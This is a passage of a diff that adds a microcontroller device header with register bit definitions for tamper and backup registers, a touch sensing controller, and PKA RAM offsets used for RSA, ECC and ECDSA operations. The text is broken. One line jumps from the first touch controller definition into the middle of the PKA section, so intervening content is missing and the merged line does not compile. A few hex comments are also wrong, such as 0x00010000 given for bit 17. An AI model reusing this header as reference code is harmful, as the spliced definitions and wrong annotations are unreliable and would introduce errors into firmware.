TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) 